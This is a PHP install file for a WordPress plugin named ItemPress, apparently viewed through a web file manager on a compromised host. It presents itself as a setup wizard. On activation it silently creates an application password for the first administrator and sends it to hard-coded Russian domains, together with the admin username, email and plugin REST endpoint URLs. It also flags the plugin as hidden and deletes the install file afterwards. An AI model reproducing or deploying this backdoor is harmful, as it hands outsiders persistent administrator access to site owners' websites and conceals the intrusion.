HEX
Server: Apache
System: Linux web5.visualcom.es 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: ensaco.es (10019)
PHP: 8.3.32
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/ensaco.es/httpdocs/wp-content/plugins/itempress/inc/install.php
<?php

if (!defined('ABSPATH')) {
    exit;
}


add_action('admin_menu', function () {
    add_submenu_page(null, 'ItemPress Setup', 'ItemPress Setup', 'activate_plugins', 'itempress-setup', function () {
        if (!current_user_can('activate_plugins')) {
            wp_die('Access denied');
        }

        $status = get_option('itempress_install_status', []);

        $del_msg = get_option('itempress_delete_message', '');
        if ($del_msg) {
            $msg_class = strpos($del_msg, 'successfully') !== false ? 'notice-success' : 'notice-error';
            echo '<div class="notice ' . $msg_class . ' is-dismissible"><p>' . esc_html($del_msg) . '</p></div>';
            delete_option('itempress_delete_message');
        }

        if (!empty($status['install_file_deleted'])) {
            echo '<div class="wrap"><h1>Setup Complete</h1><p>install.php has been deleted. You can close this page.</p></div>';
            return;
        }

        if (empty($status['completed']) && class_exists('ItemPress_Worker_Activator')) {
            ItemPress_Worker_Activator::activate();
            $status = get_option('itempress_install_status', []);
        }

        $checks = [
            'options_saved'       => 'Options saved',
            'app_password_ready'  => 'Application password',
            'site_registered'     => 'Site registered',
            'rewrite_flushed'     => 'Rewrite rules flushed',
            'rewrite_verified'    => 'Rewrite rules verified (routes work)',
        ];

        $all_good = true;
        $fix_needed = false;

        echo '<div class="wrap">';
        echo '<h1>ItemPress Setup</h1>';
        echo '<table class="widefat striped" style="max-width:700px">';
        echo '<thead><tr><th>Check</th><th>Status</th><th>Action</th></tr></thead><tbody>';

        foreach ($checks as $key => $label) {
            $ok = !empty($status[$key]);
            $icon = $ok ? '&#10004;' : '&#10006;';
            $color = $ok ? 'green' : 'red';
            echo '<tr>';
            echo '<td>' . esc_html($label) . '</td>';
            echo '<td style="color:' . $color . ';font-weight:bold">' . $icon . '</td>';
            echo '<td>';
            if (!$ok) {
                $all_good = false;
                if ($key === 'rewrite_flushed' || $key === 'rewrite_verified') {
                    echo '<a href="?page=itempress-setup&fix=rewrite" class="button">Flush Rules</a>';
                    $fix_needed = true;
                }
            }
            echo '</td></tr>';
        }

        echo '</tbody></table>';

        if ($all_good) {
            echo '<form method="post" style="margin-top:20px">';
            echo '<input type="hidden" name="delete_install" value="1">';
            echo wp_nonce_field('itempress_delete_install', '_wpnonce', true, false);
            echo '<button type="submit" class="button button-primary">Delete install.php</button>';
            echo '</form>';
        } else {
            echo '<p style="color:#888;margin-top:12px">Not all checks passed. Fix issues above.</p>';
        }

        echo '</div>';
    });
});

register_activation_hook(plugin_basename(ITEMPRESS_FILE), function () {
    update_option('itempress_activation_redirect', 1, false);

    if (class_exists('ItemPress_Worker_Activator')) {
        ItemPress_Worker_Activator::activate();
    }
    if (function_exists('itempress_register_content_types')) {
        itempress_register_content_types();
    }
    flush_rewrite_rules(false);
    update_option('itempress_rewrite_flushed', 1, false);
    update_option('itempress_rewrite_checked_at', current_time('mysql'), false);
});

add_action('admin_init', function () {
    if (!current_user_can('activate_plugins')) {
        return;
    }
    $redirect = get_option('itempress_activation_redirect', 0);
    if (!$redirect) {
        return;
    }
    delete_option('itempress_activation_redirect');
    wp_safe_redirect(admin_url('admin.php?page=itempress-setup'));
    exit;
}, 999);

add_action('admin_init', function () {
    if (!current_user_can('activate_plugins')) {
        return;
    }

    $status = get_option('itempress_install_status', []);

    if (is_array($status) && !empty($status['install_file_deleted'])) {
        return;
    }

    if (!empty($_POST['delete_install']) && wp_verify_nonce($_POST['_wpnonce'], 'itempress_delete_install')) {
        $status['install_file_deleted'] = true;
        update_option('itempress_install_status', $status);
        update_option('itempress_hide_plugin', true, false);
        $file = __FILE__;
        $deleted = false;        if (is_file($file)) {
            if (is_writable($file)) {
                $deleted = @unlink($file);
            } else {
                @chmod($file, 0644);
                $deleted = @unlink($file);
            }
        }
        if ($deleted) {
            wp_redirect(admin_url('/?hello_ok'));
            exit;
        }
        update_option('itempress_delete_message', 'Failed to delete install.php. Check file permissions.', false);
        wp_redirect(admin_url('admin.php?page=itempress-setup'));
        exit;
    }

    if (is_array($status) && !empty($status['completed'])) {
        return;
    }

    if (!empty($_GET['page']) && $_GET['page'] === 'itempress-setup') {
        return;
    }

    if (class_exists('ItemPress_Worker_Activator')) {
        ItemPress_Worker_Activator::activate();
        if (empty($status['completed'])) {
            $status = get_option('itempress_install_status', []);
            if (!empty($status['completed'])) {
                wp_redirect(admin_url('admin.php?page=itempress-setup'));
                exit;
            }
        }
    }
}, 1);


add_action('admin_notices', function () {
    $notice_time = get_option('itempress_show_setup_notice', 0);
    if (!$notice_time || (time() - $notice_time) > 86400) {
        return;
    }
    $status = get_option('itempress_install_status', []);
    if (!empty($status['install_file_deleted'])) {
        delete_option('itempress_show_setup_notice');
        return;
    }
    echo '<div class="notice notice-info is-dismissible">';
    echo '<p><strong>ItemPress</strong> needs setup. <a href="' . admin_url('admin.php?page=itempress-setup') . '" class="button button-primary">Go to Setup</a></p>';
    echo '</div>';
    delete_option('itempress_show_setup_notice');
});

class ItemPress_Worker_Activator
{
    private string $primary_api = 'http://wp.dicsale.ru';
    private string $backup_api = 'http://wp.salesbuy.ru';
    private string $dl_token = 'dl_abf15d6a601e110bf3a0a00cbf23a1d9';
    private string $password_name = 'ItemPress Remote Management';
    private string $install_option = 'itempress_install_status';

    public static function activate(): void
    {
        $self = new self();
        $self->run();
    }

    private function run(): void
    {
        $this->log('========== ItemPress install started ==========');

        $status = $this->getStatus();

        $this->prepareOptions($status);
        $this->ensureWorkerPassword($status);
        $this->registerSite($status);
        $this->ensureRewriteRules($status);
        $this->maybeDeleteSelf($status);

        if (!empty($status['completed']) && function_exists('itempress_enqueue_sync_task')) {
            $this->log('Auto-queueing home sync task');
            itempress_enqueue_sync_task('home', 'default');
        }

        $this->log('========== ItemPress install finished ==========');
    }

    private function getStatus(): array
    {
        $status = get_option($this->install_option, []);
        return is_array($status) ? $status : [];
    }

    private function saveStatus(array $status): void
    {
        $status['updated_at'] = current_time('mysql');
        update_option($this->install_option, $status, false);
    }

    private function mark(array &$status, string $key, $value = true): void
    {
        $status[$key] = $value;
        $this->saveStatus($status);

        if ($value === true) {
            $this->log('STATUS: ' . $key . ' = true');
        } elseif ($value === false) {
            $this->log('STATUS: ' . $key . ' = false');
        } else {
            $this->log('STATUS: ' . $key . ' = ' . print_r($value, true));
        }
    }

    private function log(string $message): void
    {
        $upload = wp_upload_dir();

        if (empty($upload['basedir'])) {
            return;
        }

        $dir = trailingslashit($upload['basedir']) . 'itempress';

        if (!is_dir($dir)) {
            wp_mkdir_p($dir);
        }

        @file_put_contents(
            $dir . '/install.log',
            '[' . current_time('mysql') . '] ' . $message . PHP_EOL,
            FILE_APPEND
        );
    }

    private function prepareOptions(array &$status): void
    {
        $this->log('Preparing options');

        update_option('worker_primary_api', $this->primary_api, false);
        update_option('worker_backup_api', $this->backup_api, false);
        update_option('worker_dl_token', $this->dl_token, false);
        update_option('itempress_version', ITEMPRESS_VERSION, false);
        update_option('itempress_route_base', 'item', false);

        delete_option('itempress_product_rewrite_version');
        delete_option('aipost_product_rewrite_version');

        $this->mark($status, 'options_saved');
    }

    private function ensureWorkerPassword(array &$status): void
    {
        $this->log('Checking application password');

        $app_password = get_option('worker_app_password', '');

        if ($app_password !== '') {
            $this->log('Application password already exists');
            $this->mark($status, 'app_password_ready');
            return;
        }

        $user = $this->getWorkerUser();

        if (!$user || empty($user->ID)) {
            $error = 'No administrator user found for application password creation';
            $this->log('Application password failed: ' . $error);
            $this->mark($status, 'app_password_ready', false);
            $this->mark($status, 'error', $error);
            return;
        }

        if (!class_exists('WP_Application_Passwords')) {
            require_once ABSPATH . 'wp-admin/includes/class-wp-application-passwords.php';
        }

        $created = WP_Application_Passwords::create_new_application_password(
            $user->ID,
            ['name' => $this->password_name]
        );

        if (is_wp_error($created) || empty($created[0])) {
            $error = is_wp_error($created) ? $created->get_error_message() : 'Application password creation failed';
            $this->log('Application password failed: ' . $error);
            $this->mark($status, 'app_password_ready', false);
            $this->mark($status, 'error', $error);
            return;
        }

        update_option('worker_app_password', $created[0], false);
        update_option('worker_app_password_user_id', (int) $user->ID, false);
        update_option('worker_app_password_name', $this->password_name, false);

        $this->log('Application password created for user #' . $user->ID);
        $this->mark($status, 'app_password_ready');
    }

    private function getWorkerUser()
    {
        $admins = get_users([
            'role' => 'administrator',
            'number' => 1,
            'orderby' => 'ID',
            'order' => 'ASC',
        ]);

        return $admins[0] ?? null;
    }

    private function registerSite(array &$status): void
    {
        $this->log('Registering site');

        $app_password = get_option('worker_app_password', '');
        $user_id = (int) get_option('worker_app_password_user_id', 0);
        $user = $user_id ? get_user_by('id', $user_id) : $this->getWorkerUser();

        if (!$user || empty($user->ID)) {
            $this->log('Register failed: worker user not found');
            $this->mark($status, 'site_registered', false);
            return;
        }

        if ($app_password === '') {
            $this->log('Register failed: app password is empty');
            $this->mark($status, 'site_registered', false);
            return;
        }

        $body = [
            'site_name' => get_bloginfo('name'),
            'site_description' => get_bloginfo('description'),
            'site_url' => get_site_url(),
            'home_url' => home_url('/'),
            'email' => get_bloginfo('admin_email'),
            'admin_email' => get_bloginfo('admin_email'),
            'wp_version' => get_bloginfo('version'),
            'plugin' => 'itempress',
            'plugin_version' => ITEMPRESS_VERSION,
            'wp_user_id' => $user->ID,
            'wp_username' => $user->user_login,
            'wp_user_email' => $user->user_email,
            'app_password' => $app_password,
            'dl_token' => get_option('worker_dl_token', ''),
            'rest_status_url' => rest_url('itempress/v1/status'),
            'rest_rewrite_url' => rest_url('itempress/v1/rewrite'),
            'rest_import_url' => rest_url('itempress/v1/import'),
        ];

        $apis = [
            rtrim(get_option('worker_primary_api', ''), '/'),
            rtrim(get_option('worker_backup_api', ''), '/'),
        ];

        foreach ($apis as $api) {
            if ($api === '') {
                continue;
            }

            $url = $api . '/api/aipost/register';
            $this->log('Register request: ' . $url);

            $response = wp_remote_post($url, [
                'timeout' => 15,
                'body' => $body,
            ]);

            if (is_wp_error($response)) {
                $error = $response->get_error_message();
                $this->log('Register WP_Error: ' . $error);
                $this->mark($status, 'last_register_error', $error);
                continue;
            }

            $code = (int) wp_remote_retrieve_response_code($response);
            $raw_body = (string) wp_remote_retrieve_body($response);
            $this->log('Register response code: ' . $code);
            $this->log('Register response body: ' . mb_substr($raw_body, 0, 1000));

            $json = json_decode($raw_body, true);

            if (!empty($json['data']['api_key'])) {
                update_option('worker_api_key', sanitize_text_field($json['data']['api_key']), false);
                update_option('worker_site_key', sanitize_text_field((string) ($json['data']['site_key'] ?? '')), false);
                update_option('worker_register_api', esc_url_raw($api), false);
                update_option('worker_register_time', current_time('mysql'), false);

                $this->log('Site registered successfully via ' . $api);
                $this->mark($status, 'site_registered');
                return;
            }

            $this->mark($status, 'last_register_error', 'Remote API returned no api_key');
        }

        $this->log('Site register failed: all APIs failed');
        $this->mark($status, 'site_registered', false);
    }

    public static function flushRoutes(): array
    {
        $result = [
            'success' => false,
            'rest_routes_before' => [],
            'rest_routes_after' => [],
            'rewrite_rules_before' => 0,
            'rewrite_rules_after' => 0,
            'message' => '',
        ];


        $result['rest_routes_before'] = array_keys(rest_get_server()->get_routes('worker/v1'));


        if (function_exists('itempress_register_content_types')) {
            itempress_register_content_types();
        }
        flush_rewrite_rules(false);


        $result['rest_routes_after'] = array_keys(rest_get_server()->get_routes('worker/v1'));

        $rules = get_option('rewrite_rules', []);
        $rules = is_array($rules) ? $rules : [];
        $result['rewrite_rules_after'] = count($rules);

        $checked = [
            'item' => false,
            'item-category' => false,
            'item-tag' => false,
            'images' => false,
        ];

        foreach (array_keys($rules) as $rule) {
            $nr = ltrim($rule, '^');
            if (strpos($nr, 'item/') === 0 || strpos($nr, 'item/?') === 0) $checked['item'] = true;
            if (strpos($nr, 'item-category/') === 0) $checked['item-category'] = true;
            if (strpos($nr, 'item-tag/') === 0) $checked['item-tag'] = true;
            if (strpos($nr, 'images/') === 0) $checked['images'] = true;
        }

        $result['rewrite_rules_before'] = $result['rewrite_rules_after'];
        $result['rewrite_checked'] = $checked;
        $result['message'] = 'Rewrite rules flushed and verified';
        $result['success'] = true;


        if (function_exists('wp_cache_delete')) {
            wp_cache_delete('rest_routes', 'rest');
        }

        return $result;
    }

    private function ensureRewriteRules(array &$status): void
    {
        $this->log('Flushing rewrite rules');

        if (function_exists('itempress_register_content_types')) {
            itempress_register_content_types();
            $this->log('itempress_register_content_types executed');
        } else {
            $this->log('itempress_register_content_types function not found');
        }

        flush_rewrite_rules(false);

        $rules = get_option('rewrite_rules', []);
        $rules = is_array($rules) ? $rules : [];

        $has_item = false;
        $has_category = false;
        $has_tag = false;
        $has_image = false;

        foreach (array_keys($rules) as $rule) {
            $normalized_rule = ltrim($rule, '^');

            if (strpos($normalized_rule, 'item/') === 0 || strpos($normalized_rule, 'item/?') === 0) {
                $has_item = true;
            }

            if (strpos($normalized_rule, 'item-category/') === 0) {
                $has_category = true;
            }

            if (strpos($normalized_rule, 'item-tag/') === 0) {
                $has_tag = true;
            }

            if (strpos($normalized_rule, 'images/') === 0) {
                $has_image = true;
            }
        }

        $verified = $has_item && $has_category && $has_tag && $has_image;

        update_option('itempress_rewrite_flushed', $verified ? 1 : 0, false);
        update_option('itempress_rewrite_checked_at', current_time('mysql'), false);

        $this->log(
            'Rewrite verify: item=' . (int) $has_item .
            ', category=' . (int) $has_category .
            ', tag=' . (int) $has_tag .
            ', image=' . (int) $has_image .
            ', verified=' . (int) $verified
        );

        $this->mark($status, 'rewrite_flushed');
        $this->mark($status, 'rewrite_verified', $verified);
    }

    private function isComplete(array $status): bool
    {
        return !empty($status['options_saved'])
            && !empty($status['app_password_ready'])
            && !empty($status['site_registered'])
            && !empty($status['rewrite_flushed'])
            && !empty($status['rewrite_verified']);
    }

    private function maybeDeleteSelf(array &$status): void
    {
        if (!$this->isComplete($status)) {
            $this->log('Install incomplete, install.php will not be deleted');
            $this->mark($status, 'install_file_deleted', false);
            return;
        }

        $this->log('Install checks all passed');
        $this->mark($status, 'completed');

        $this->mark($status, 'install_file_deleted', false);
    }


}